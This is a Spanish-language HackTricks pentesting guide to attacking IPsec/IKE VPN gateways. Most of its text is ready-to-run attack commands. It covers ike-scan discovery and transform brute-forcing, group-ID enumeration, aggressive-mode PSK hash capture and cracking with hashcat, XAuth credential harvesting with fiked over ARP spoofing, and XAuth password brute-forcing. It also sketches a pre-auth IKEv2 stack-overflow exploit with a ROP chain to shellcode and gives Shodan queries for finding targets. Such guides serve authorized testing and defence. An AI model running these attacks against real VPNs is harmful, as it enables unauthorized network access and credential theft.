500/udp - Pentesting IPsec/IKE VPN

Tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks

Información básica

IPsec es ampliamente reconocido como la tecnología principal para asegurar las comunicaciones entre redes (LAN-to-LAN) y desde usuarios remotos hasta la puerta de enlace de la red (acceso remoto), sirviendo como la columna vertebral de las soluciones VPN empresariales.

El establecimiento de una security association (SA) entre dos puntos es gestionado por IKE, que opera bajo el paraguas de ISAKMP, un protocolo diseñado para la autenticación y el intercambio de claves. Este proceso se desarrolla en varias fases:

  • Phase 1: Se crea un canal seguro entre dos endpoints. Esto se logra mediante el uso de una Pre-Shared Key (PSK) o certificados, empleando ya sea main mode, que implica tres pares de mensajes, o aggressive mode.
  • Phase 1.5: Aunque no es obligatoria, esta fase, conocida como la Fase de Autenticación Extendida (Extended Authentication Phase), verifica la identidad del usuario que intenta conectarse exigiendo un nombre de usuario y una contraseña.
  • Phase 2: Esta fase se dedica a negociar los parámetros para asegurar los datos con ESP y AH. Permite el uso de algoritmos distintos a los de Phase 1 para garantizar Perfect Forward Secrecy (PFS), mejorando la seguridad.

Puerto por defecto: 500/udp

También comúnmente expuesto: 4500/udp (NAT Traversal)

Descubre el servicio usando nmap

root@bt:~# nmap -sU -p 500 172.16.21.200
Starting Nmap 5.51 (http://nmap.org) at 2011-11-26 10:56 IST
Nmap scan report for 172.16.21.200
Host is up (0.00036s latency).
PORT    STATE SERVICE
500/udp open  isakmp
MAC Address: 00:1B:D5:54:4D:E4 (Cisco Systems)

Encontrar una transformación válida

La configuración de IPSec puede estar preparada para aceptar solo una o pocas transformaciones. Una transformación es una combinación de valores. Each transform contiene una serie de atributos como DES o 3DES como el encryption algorithm, SHA o MD5 como el integrity algorithm, una pre-shared key como el authentication type, Diffie-Hellman 1 o 2 como el distribution algorithm de claves y 28800 segundos como el lifetime.

Entonces, lo primero que tienes que hacer es find a valid transformation, para que el servidor hable contigo. Para ello, puedes usar la herramienta ike-scan. Por defecto, Ike-scan trabaja en main mode y envía un paquete al gateway con un ISAKMP header y una sola proposal con eight transforms inside it.

Dependiendo de la respuesta puedes obtener cierta información sobre el endpoint:

root@bt:~# ike-scan -M 172.16.21.200
Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
172.16.21.200    Main Mode Handshake returned
HDR=(CKY-R=d90bf054d6b76401)
SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800)
VID=4048b7d56ebce88525e7de7f00d6c2d3c0000000 (IKE Fragmentation)

Ending ike-scan 1.9: 1 hosts scanned in 0.015 seconds (65.58 hosts/sec). 1 returned handshake; 0 returned notify

Como se puede ver en la respuesta anterior, hay un campo llamado AUTH con el valor PSK. Esto significa que la vpn está configurada usando una clave precompartida (y esto es realmente bueno para un pentester).
El valor de la última línea también es muy importante:

  • 0 returned handshake; 0 returned notify: Esto significa que el target no es un IPsec gateway.
  • 1 returned handshake; 0 returned notify: Esto significa que el target está configurado para IPsec y está dispuesto a realizar la negociación IKE, y una o más de las transforms que propusiste son aceptables (un transform válido se mostrará en la salida).
  • 0 returned handshake; 1 returned notify: VPN gateways responden con un mensaje notify cuando ninguna de las transforms es aceptable (aunque algunos gateways no lo hacen, en cuyo caso se debe intentar un análisis adicional y una propuesta revisada).

Entonces, en este caso ya tenemos una transformación válida pero si estás en el tercer caso, necesitas brute-force un poco para encontrar una transformación válida:

First of all you need to create all the possible transformations:

for ENC in 1 2 3 4 5 6 7/128 7/192 7/256 8; do for HASH in 1 2 3 4 5 6; do for AUTH in 1 2 3 4 5 6 7 8 64221 64222 64223 64224 65001 65002 65003 65004 65005 65006 65007 65008 65009 65010; do for GROUP in 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18; do echo "--trans=$ENC,$HASH,$AUTH,$GROUP" >> ike-dict.txt ;done ;done ;done ;done

Y luego brute-force cada uno usando ike-scan (esto puede tardar varios minutos):

while read line; do (echo "Valid trans found: $line" && sudo ike-scan -M $line <IP>) | grep -B14 "1 returned handshake" | grep "Valid trans found" ; done < ike-dict.txt

Si el brute-force no funcionó, quizá el servidor esté respondiendo sin handshakes incluso a transforms válidos. Entonces, podrías intentar el mismo brute-force pero usando aggressive mode:

while read line; do (echo "Valid trans found: $line" && ike-scan -M --aggressive -P handshake.txt $line <IP>) | grep -B7 "SA=" | grep "Valid trans found" ; done < ike-dict.txt

Esperemos que se devuelva una transformación válida.
Puedes probar el same attack usando iker.py.
También puedes intentar un brute force a las transformaciones con ikeforce:

./ikeforce.py <IP> # No parameters are required for scan -h for additional help

En DH Group: 14 = 2048-bit MODP y 15 = 3072-bit
2 = HMAC-SHA = SHA1 (en este caso). El formato --trans es $Enc,$Hash,$Auth,$DH

Cisco recomienda evitar usar DH groups 1 y 2 porque no son lo suficientemente fuertes. Los expertos creen que países con muchos recursos pueden romper fácilmente la encriptación de datos que usan estos grupos débiles. Esto se hace mediante un método especial que los prepara para descifrar los códigos rápidamente. Aunque establecer este método cuesta mucho dinero, permite a estos países poderosos leer los datos cifrados en tiempo real si están usando un grupo débil (como 1.024 bits o menos).

Server fingerprinting

Luego, puedes usar ike-scan para intentar descubrir el vendor del dispositivo. La herramienta envía una propuesta inicial y deja de reenviar. A continuación, analizará la diferencia de tiempo entre los mensajes recibidos desde el servidor y el patrón de respuesta coincidente; con ello el pentester puede fingerprint con éxito al vendor del gateway VPN. Además, algunos servidores VPN usarán la opcional Vendor ID (VID) payload con IKE.

Especifica la transformación válida si es necesario (usando –trans)

Si IKE descubre cuál es el vendor, lo imprimirá:

root@bt:~# ike-scan -M --showbackoff 172.16.21.200
Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
172.16.21.200    Main Mode Handshake returned
HDR=(CKY-R=4f3ec84731e2214a)
SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800)
VID=4048b7d56ebce88525e7de7f00d6c2d3c0000000 (IKE Fragmentation)

IKE Backoff Patterns:

IP Address       No.  Recv time            Delta Time
172.16.21.200    1    1322286031.744904    0.000000
172.16.21.200    2    1322286039.745081    8.000177
172.16.21.200    3    1322286047.745989    8.000908
172.16.21.200    4    1322286055.746972    8.000983
172.16.21.200    Implementation guess: Cisco VPN Concentrator

Ending ike-scan 1.9: 1 hosts scanned in 84.080 seconds (0.01 hosts/sec). 1 returned handshake; 0 returned notify

Esto también se puede lograr con el script de nmap ike-version

IKEv2-specific: WatchGuard Vendor ID version fingerprinting

Algunos daemons IKEv2 incluyen payloads de Vendor ID no estándar en la respuesta IKE_SA_INIT. WatchGuard Fireware OS codifica la versión/build del appliance directamente dentro del VID, permitiendo fingerprinting pre-auth de un solo paquete.

  • Transporte: UDP/500 (y UDP/4500 para NAT-T)
  • Paquete: la respuesta IKE_SA_INIT contiene uno o más payloads de Vendor ID
  • Formato WatchGuard: hash de 32 bytes seguido de base64 que decodifica a p. ej. VN=12.11.3 BN=719894

Ejemplo de bytes en bruto de un payload VID de WatchGuard (los últimos 12 bytes están en base64):

00000000: bfc2 2e98 56ba 9936 11c1 1e48 a6d2 0807  ....V..6...H....
00000010: a95b edb3 9302 6a49 e60f ac32 7bb9 601b  .[....jI...2{.`.
00000020: 566b 3439 4d54 4975 4d54 4575 4d79 4243  Vk49MTIuMTEuMyBC
00000030: 546a 3033 4d54 6b34 4f54 513d            Tj03MTk4OTQ=

Extracción rápida desde un shell cuando tienes el base64 tail:

echo 'Vk49MTIuMTEuMyBCTj03MTk4OTQ=' | base64 -d
# VN=12.11.3 BN=719894

Notas

  • Esto no forma parte de ningún RFC de IKEv2. Trátalo como una peculiaridad del proveedor para el mapeo rápido de versiones de Fireware OS expuestas/vulnerables.
  • Solo necesitas provocar una respuesta IKE_SA_INIT; no se requiere autenticación.

Encontrar el ID correcto (nombre del grupo)

Para poder capturar el hash necesitas una transformación válida que soporte Aggressive mode y el ID correcto (nombre del grupo). Probablemente no conocerás el nombre de grupo válido, así que tendrás que hacer brute-force.
Para ello, te recomendaría 2 métodos:

Bruteforcing ID with ike-scan

First of all try to make a request with a fake ID trying to gather the hash (“-P”):

ike-scan -P -M -A -n fakeID <IP>

Si no hash is returned, entonces probablemente este método de brute forcing funcionará. If some hash is returned, this means that a fake hash is going to be sent back for a fake ID, so this method won’t be reliable para brute-forcear el ID. Por ejemplo, se podría devolver un fake hash (esto ocurre en versiones modernas):

Pero, como he dicho, si no se devuelve ningún hash, deberías intentar brute-force nombres de grupo comunes usando ike-scan.

Este script will try to brute-force possible IDs y devolverá los IDs donde se obtenga un handshake válido (esto será un nombre de grupo válido).

Si has descubierto una transformación específica, añádela en el comando ike-scan. Y si has descubierto varias transformaciones, siéntete libre de añadir un nuevo loop para probarlas todas (deberías probarlas todas hasta que una funcione correctamente).

Puedes usar el dictionary of ikeforce o the one in seclists de nombres de grupo comunes para brute-forcearlos:

while read line; do (echo "Found ID: $line" && sudo ike-scan -M -A -n $line <IP>) | grep -B14 "1 returned handshake" | grep "Found ID:"; done < /usr/share/wordlists/external/SecLists/Miscellaneous/ike-groupid.txt

Or use this dict (is a combination of the other 2 dicts without repetitions):

Bruteforcing ID con Iker

iker.py también usa ike-scan para bruteforcear posibles nombres de grupo. Sigue su propio método para encontrar un ID válido basado en la salida de ike-scan.

Bruteforcing ID con ikeforce

ikeforce.py es una herramienta que también puede usarse para brute force de IDs. Esta herramienta intentará explotar diferentes vulnerabilidades que podrían usarse para distinguir entre un ID válido y uno no válido (puede tener falsos positivos y falsos negativos; por eso prefiero usar el método de ike-scan si es posible).

Por defecto ikeforce enviará al principio algunos IDs aleatorios para comprobar el comportamiento del servidor y determinar la táctica a usar.

  • El primer método es hacer brute-force de los nombres de grupo buscando la información Dead Peer Detection DPD de sistemas Cisco (esta info solo es respondida por el servidor si el nombre del grupo es correcto).
  • El segundo método disponible es comprobar el número de respuestas enviadas por cada intento, porque a veces se envían más paquetes cuando se usa el ID correcto.
  • El tercer método consiste en buscar “INVALID-ID-INFORMATION” en la respuesta a un ID incorrecto.
  • Finalmente, si el servidor no responde nada a las comprobaciones, ikeforce intentará brute forcear el servidor y comprobar si, cuando se envía el ID correcto, el servidor responde con algún paquete.
    Obviamente, el objetivo de brute forcear el ID es obtener el PSK cuando tienes un ID válido. Entonces, con el ID y el PSK tendrás que brute forcear el XAUTH (si está habilitado).

Si has descubierto una transformación específica, añádela en el comando de ikeforce. Y si has descubierto varias transformaciones, siéntete libre de añadir un nuevo bucle para probarlas todas (deberías probarlas todas hasta que una funcione correctamente).

git clone https://github.com/SpiderLabs/ikeforce.git
pip install 'pyopenssl==17.2.0' #It is old and need this version of the library

./ikeforce.py <IP> -e -w ./wordlists/groupnames.dic

Sniffing ID

(Del libro Network Security Assessment: Know Your Network): También es posible obtener nombres de usuario válidos mediante sniffing de la conexión entre el cliente y el servidor VPN, ya que el primer paquete en aggressive mode que contiene el client ID se envía en claro

Aggressive Mode identity leakage

Aggressive Mode debe enviar el ID temprano para que el gateway pueda elegir el PSK correcto cuando existan multiple groups/users. Esto significa que la identity is exposed pre-auth, a diferencia de Main Mode, donde se cifra en paquetes posteriores. Puedes extraerla rápidamente:

ike-scan -A <IP>
# Look for: ID(Type=ID_USER_FQDN, Value=ike@corp.tld)

Si Aggressive Mode está habilitado, captura un PSK handshake crackable y crackéalo offline (hashcat mode 5400):

ike-scan -A --pskcrack=handshake.txt <IP>
hashcat -m 5400 handshake.txt /path/to/wordlist.txt

Los PSKs recuperados a menudo se reutilizan como credenciales para otros servicios (SSH, VPN client auth), así que pruébalos contra servicios expuestos.

Captura & cracking del hash

Finalmente, si has encontrado una transformación válida y el nombre del grupo y si el aggressive mode is allowed, entonces puedes obtener muy fácilmente el hash susceptible de crackear:

ike-scan -M -A -n <ID> --pskcrack=hash.txt <IP> #If aggressive mode is supported and you know the id, you can get the hash of the passwor

El hash se guardará dentro de hash.txt.

Puedes usar psk-crack, john (usando ikescan2john.py) y hashcat para crack el hash:

psk-crack -d <Wordlist_path> psk.txt

XAuth

Aggressive mode IKE combinado con una Pre-Shared Key (PSK) se emplea comúnmente para fines de autenticación de grupo. Este método se ve complementado por XAuth (Extended Authentication), que sirve para introducir una capa adicional de autenticación de usuario. Dicha autenticación normalmente utiliza servicios como Microsoft Active Directory, RADIUS, u otros sistemas comparables.

Al migrar a IKEv2, se observa un cambio notable donde EAP (Extensible Authentication Protocol) se utiliza en lugar de XAuth para autenticar usuarios. Este cambio subraya una evolución en las prácticas de autenticación dentro de los protocolos de comunicación seguros.

MitM en la red local para capturar credenciales

Puedes capturar los datos del inicio de sesión usando fiked y comprobar si existe algún nombre de usuario por defecto (Necesitas redirigir el tráfico IKE a fiked para sniffing, lo cual puede hacerse con la ayuda de ARP spoofing, more info). Fiked actuará como un VPN endpoint y capturará las credenciales XAuth:

fiked -g <IP> -k testgroup:secretkey -l output.txt -d

Además, usando IPSec intenta realizar un ataque MitM y bloquear todo el tráfico al puerto 500; si el túnel IPSec no puede establecerse, quizá el tráfico se envíe en claro.

Brute-forcing XAUTH username and password with ikeforce

Para brute forcear el XAUTH (cuando conoces un nombre de grupo válido id y el psk) puedes usar un username o una lista de usernames y una lista de passwords:

./ikeforce.py <IP> -b -i <group_id> -u <username> -k <PSK> -w <passwords.txt> [-s 1]

De esta manera, ikeforce intentará conectarse usando cada combinación de username:password.

Si encontraste una o varias transformaciones válidas, simplemente úsalas como en los pasos anteriores.

Autenticación con una VPN IPSEC

En Kali, VPNC se utiliza para establecer túneles IPsec. Los perfiles deben ubicarse en el directorio /etc/vpnc/. Puedes iniciar estos perfiles usando el comando vpnc.

Los siguientes comandos y configuraciones ilustran el proceso de establecer una conexión VPN con VPNC:

root@system:~# cat > /etc/vpnc/samplevpn.conf << STOP
IPSec gateway [VPN_GATEWAY_IP]
IPSec ID [VPN_CONNECTION_ID]
IPSec secret [VPN_GROUP_SECRET]
IKE Authmode psk
Xauth username [VPN_USERNAME]
Xauth password [VPN_PASSWORD]
STOP
root@system:~# vpnc samplevpn
VPNC started in background (pid: [PID])...
root@system:~# ifconfig tun0

En esta configuración:

  • Reemplace [VPN_GATEWAY_IP] con la dirección IP real del gateway VPN.
  • Reemplace [VPN_CONNECTION_ID] con el identificador de la conexión VPN.
  • Reemplace [VPN_GROUP_SECRET] con el group secret de la VPN.
  • Reemplace [VPN_USERNAME] y [VPN_PASSWORD] con las credenciales de autenticación de la VPN.
  • [PID] simboliza el process ID que se asignará cuando vpnc se inicie.

Asegúrese de usar valores reales y seguros para reemplazar los marcadores al configurar la VPN.

IKEv2 exploitation notes: pre-auth IDi/CERT processing bugs

Los appliances modernos de VPN frecuentemente exponen IKEv2 en UDP/500 (y UDP/4500 para NAT-T). Una superficie de ataque común antes de la autenticación es el parsing de Identification (IDi) y Certificate payloads durante IKE_SA_AUTH.

Flujo de explotación a alto nivel cuando existe un parser IKEv2 vulnerable:

  • Envíe un IKE_SA_INIT válido para negociar transforms y completar Diffie–Hellman.
  • Siga con IKE_SA_AUTH que lleve un IDi que dispare el bug (por ejemplo, una Identification sobredimensionada copiada en un buffer de stack de tamaño fijo antes de la validación del certificado).
  • La corrupción de memoria resultante puede permitir el control de registros guardados y de la dirección de retorno.
  • Con NX habilitado pero otras mitigaciones ausentes (no PIE/canaries), construya una cadena ROP para llamar a mprotect en una página de stack y luego pivote la ejecución a shellcode inyectado o a un intérprete residente (p. ej., /usr/bin/python3) si no hay /bin/sh disponible.

Example default transforms observed on some IKEv2 appliances (WatchGuard Fireware OS 12.11.3):

  • SHA2-256–AES(256-bit) with DH Group 14
  • SHA1–AES(256-bit) with DH Group 5
  • SHA1–AES(256-bit) with DH Group 2
  • SHA1–3DES with DH Group 2

Consejos prácticos

  • Apunte tanto a UDP/500 como a UDP/4500; los servidores NAT-T pueden responder solo en 4500.
  • Aumente el receive buffer y los timeouts para scanners basados en UDP para evitar pérdida de paquetes.
  • Si el servicio expone custom Vendor IDs (vea la sección arriba), úselos para fingerprint rápidamente versiones vulnerables antes de intentar tráfico de exploit.

Reference Material

Shodan

  • port:500 IKE
  • port:4500 "UDP"
  • udp port:500,4500 "WatchGuard"

References

Tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks